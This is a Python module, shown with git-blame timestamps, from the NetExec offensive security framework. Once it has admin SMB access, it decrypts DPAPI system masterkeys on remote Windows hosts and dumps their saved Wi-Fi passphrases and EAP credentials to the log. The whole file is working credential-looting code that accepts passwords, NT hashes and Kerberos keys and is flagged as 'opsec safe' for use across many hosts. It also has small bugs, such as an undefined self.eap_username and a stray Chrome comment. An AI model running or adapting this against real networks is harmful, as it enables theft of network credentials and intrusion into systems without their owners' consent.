2022-07-18 23:59:14 +00:00
|
|
|
#!/usr/bin/env python3
|
|
|
|
# -*- coding: utf-8 -*-
|
|
|
|
|
2023-02-14 10:12:39 +00:00
|
|
|
from dploot.triage.masterkeys import MasterkeysTriage
|
|
|
|
from dploot.lib.target import Target
|
|
|
|
from dploot.lib.smb import DPLootSMBConnection
|
|
|
|
from dploot.triage.wifi import WifiTriage
|
|
|
|
|
2023-09-14 21:07:15 +00:00
|
|
|
from nxc.helpers.logger import highlight
|
2023-02-14 10:12:39 +00:00
|
|
|
|
|
|
|
|
2023-09-17 20:20:40 +00:00
|
|
|
class NXCModule:
|
2023-05-02 15:17:59 +00:00
|
|
|
name = "wifi"
|
2020-04-29 15:03:52 +00:00
|
|
|
description = "Get key of all wireless interfaces"
|
2023-05-02 15:17:59 +00:00
|
|
|
supported_protocols = ["smb"]
|
2020-04-29 15:03:52 +00:00
|
|
|
opsec_safe = True
|
|
|
|
multiple_hosts = True
|
|
|
|
|
|
|
|
def options(self, context, module_options):
|
2023-05-02 15:17:59 +00:00
|
|
|
""" """
|
2020-04-29 15:03:52 +00:00
|
|
|
|
|
|
|
def on_admin_login(self, context, connection):
|
2023-02-14 10:12:39 +00:00
|
|
|
host = connection.hostname + "." + connection.domain
|
|
|
|
domain = connection.domain
|
|
|
|
username = connection.username
|
|
|
|
kerberos = connection.kerberos
|
|
|
|
aesKey = connection.aesKey
|
|
|
|
use_kcache = getattr(connection, "use_kcache", False)
|
|
|
|
password = getattr(connection, "password", "")
|
|
|
|
lmhash = getattr(connection, "lmhash", "")
|
|
|
|
nthash = getattr(connection, "nthash", "")
|
|
|
|
|
|
|
|
target = Target.create(
|
|
|
|
domain=domain,
|
|
|
|
username=username,
|
|
|
|
password=password,
|
|
|
|
target=host,
|
|
|
|
lmhash=lmhash,
|
|
|
|
nthash=nthash,
|
|
|
|
do_kerberos=kerberos,
|
|
|
|
aesKey=aesKey,
|
|
|
|
no_pass=True,
|
|
|
|
use_kcache=use_kcache,
|
|
|
|
)
|
|
|
|
|
|
|
|
conn = None
|
|
|
|
|
|
|
|
try:
|
2023-05-02 15:17:59 +00:00
|
|
|
conn = DPLootSMBConnection(target)
|
2023-02-14 10:12:39 +00:00
|
|
|
conn.smb_session = connection.conn
|
|
|
|
except Exception as e:
|
2023-09-22 19:37:07 +00:00
|
|
|
context.log.debug(f"Could not upgrade connection: {e}")
|
2023-02-14 10:12:39 +00:00
|
|
|
return
|
|
|
|
|
|
|
|
masterkeys = []
|
|
|
|
try:
|
|
|
|
masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
|
|
|
|
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
|
|
|
except Exception as e:
|
2023-09-22 19:37:07 +00:00
|
|
|
context.log.debug(f"Could not get masterkeys: {e}")
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2023-02-14 10:12:39 +00:00
|
|
|
if len(masterkeys) == 0:
|
2023-04-21 10:17:50 +00:00
|
|
|
context.log.fail("No masterkeys looted")
|
2023-02-14 10:12:39 +00:00
|
|
|
return
|
|
|
|
|
2023-09-22 19:37:07 +00:00
|
|
|
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
|
2023-02-14 10:12:39 +00:00
|
|
|
|
|
|
|
try:
|
|
|
|
# Collect Chrome Based Browser stored secrets
|
|
|
|
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
|
|
|
|
wifi_creds = wifi_triage.triage_wifi()
|
|
|
|
except Exception as e:
|
2023-09-24 04:06:51 +00:00
|
|
|
context.log.debug(f"Error while looting wifi: {e}")
|
2023-02-14 10:12:39 +00:00
|
|
|
for wifi_cred in wifi_creds:
|
2023-05-02 15:17:59 +00:00
|
|
|
if wifi_cred.auth.upper() == "OPEN":
|
2023-09-22 19:37:07 +00:00
|
|
|
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
|
2023-08-17 16:13:51 +00:00
|
|
|
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
|
2023-02-14 10:12:39 +00:00
|
|
|
try:
|
2023-09-22 19:37:07 +00:00
|
|
|
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
|
|
|
|
except Exception:
|
|
|
|
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
|
|
|
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
|
2023-08-17 16:13:51 +00:00
|
|
|
try:
|
|
|
|
if self.eap_username is not None and self.eap_password is not None:
|
2023-09-22 19:37:07 +00:00
|
|
|
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
|
2023-08-17 16:13:51 +00:00
|
|
|
else:
|
2023-09-22 19:37:07 +00:00
|
|
|
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
|
|
|
except Exception:
|
2023-09-23 01:10:21 +00:00
|
|
|
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
2023-02-14 10:12:39 +00:00
|
|
|
else:
|
2023-09-22 19:37:07 +00:00
|
|
|
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|